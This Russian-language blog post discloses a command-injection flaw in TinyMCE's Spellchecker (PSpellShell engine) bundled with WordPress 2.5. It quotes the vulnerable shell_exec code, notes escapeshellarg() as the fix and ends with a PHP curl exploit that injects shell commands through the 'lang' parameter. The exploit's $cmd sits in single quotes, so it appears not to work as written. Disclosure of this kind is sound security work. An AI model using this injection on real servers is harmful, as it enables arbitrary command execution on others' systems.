Найдена уязвимость в модуле TinyMCE для проверки орфографии – Spellchecker. Данный модуль вместе с самим TinyMCE используется в последних версиях WordPress (ветка 2.5.*), однако эта уязвимость не является полноценной, так как встретить ее на реальном сервере в сети вряд ли можно. Несмотря на это, уязвимость, действительно, серьезная, так как она позволяет выполнить произвольные команды, поэтому я все же решил рассказать, как я ее нашел и что она из себя представляет (эксплоит прилагается).
Итак, любой скрипт, реализующий проверку орфографии, в контексте основной системы предполагает взаимодействие с ней методом RPC (Remote Procedure Call), т.е. удаленное выполнение процедур. В данном случае Spellchecker не является исключением. С точки зрения безопасности, скрипты, выполняющиеся посредством RPC, представляют собой большую угрозу, так как позволяют выполнить любой свой метод. Чтобы не быть голословным, приведу пример: в прошлом году некий Slappter обнаружил SQL-инъекцию в XMLRPC-интерфейсе WordPress’а, а именно в методе wp_suggestCategories, который мог быть вызван по запросу пользователя. Так вот, передав специально составленный SQL-код в этот метод, можно было осуществить полноценный инъект.
Для багоискателей RPC-интерфейсы являются бесценным источником возможных уязвимостей, так как обнаружить их в основном коде, в случае веб-приложений, считающихся безопасными, довольно сложно. Например, если была найдена уязвимость в какой-нибудь функции, которая может быть запущена только при админских правах, то такой баг не будет представлять большого интереса. Как уже было сказано, RPC-интерфейсы позволяют выполнить любой метод – именно это обстоятельство помогло при обнаружении баги.
Теории достаточно – переходим к практике. Основной скрипт rpc.php принимает данные в JSON-формате, так как он запускается AJAX’ом. Ниже следует пример RPC-запроса к Spellchecker’у:
PUT /wp25/wp-includes/js/tinymce/plugins/spellchecker/rpc.php HTTP/1.1
Host: localhost
Content-length: 81
Connection: close
{"method":"checkWords","params":["en",["some","phrase","to","check","spelling"]]}
Если вам не знаком синтаксис JSON-массивов, то советую с ним ознакомиться.
Результат возвращается также в JSON-формате. Spellchecker предоставляет возможность проверки орфографии тремя способами:
- с помощью сервиса Google
- с помощью PHP-расширения PSpell
- с помощью внешней утилиты pspell
Самое время сказать, почему же реализовать данную уязвимость на реальных серверах не получится. Дело в том, что по умолчанию Spellchecker использует первый вариант, и изменить его даже из админ-панели WordPress нельзя. Уязвимость находится в вызове утилиты pspell, т.е. в третьем способе. Чтобы вручную изменить способ проверки, необходимо отредактировать config.php таким образом:
<?php // General settings //$config['general.engine'] = 'GoogleSpell'; //$config['general.engine'] = 'PSpell'; $config['general.engine'] = 'PSpellShell'; // PSpell settings $config['PSpell.mode'] = PSPELL_FAST; $config['PSpell.spelling'] = ""; $config['PSpell.jargon'] = ""; $config['PSpell.encoding'] = ""; // PSpellShell settings $config['PSpellShell.mode'] = PSPELL_FAST; $config['PSpellShell.aspell'] = '/usr/bin/aspell'; $config['PSpellShell.tmp'] = '/tmp'; // Windows PSpellShell settings //$config['PSpellShell.aspell'] = '"c:\Program Files\Aspell\bin\aspell.exe"'; //$config['PSpellShell.tmp'] = 'c:/temp'; ?>
Теперь собственно уязвимость (classes/PSpellShell.php@59-74,103-111):
<?php
function &getSuggestions($lang, $word) {
$cmd = $this->_getCMD($lang);
/**/
$data = shell_exec($cmd);
/**/
}
function _getCMD($lang) {
$this->_tmpfile = tempnam($this->_config['PSpellShell.tmp'], "tinyspell");
if(preg_match("#win#i", php_uname()))
return $this->_config['PSpellShell.aspell'] . " -a --lang=". $lang
. " --encoding=utf-8 -H < " . $this->_tmpfile . " 2>&1";
return "cat ". $this->_tmpfile ." | " . $this->_config['PSpellShell.aspell']
. " -a --encoding=utf-8 -H --lang=". $lang;
}
?>
Как видим, входящие параметры не фильтруются, именно это и позволяет выполнить любые команды, внедрив их в переменную lang. Защититься от подобных атак очень легко, учитывая, что в php есть специальные функции escapeshellarg() и escapeshellcmd()
Код эксплоита
<?php
$url = 'http://localhost/wp25/wp-includes/js/tinymce/plugins/spellchecker/rpc.php';
$cmd = 'ls -la';
$data = urlencode('{"method":"getSuggestions","params":["en; $cmd",["foo"]]}');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_PUT, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 10);
curl_setopt($ch, CURLOPT_PORT, 80);
$resp = curl_exec($ch);
curl_close($ch);
echo "<pre>";
print_r($resp);
echo "</pre>";
?>

Leave a Reply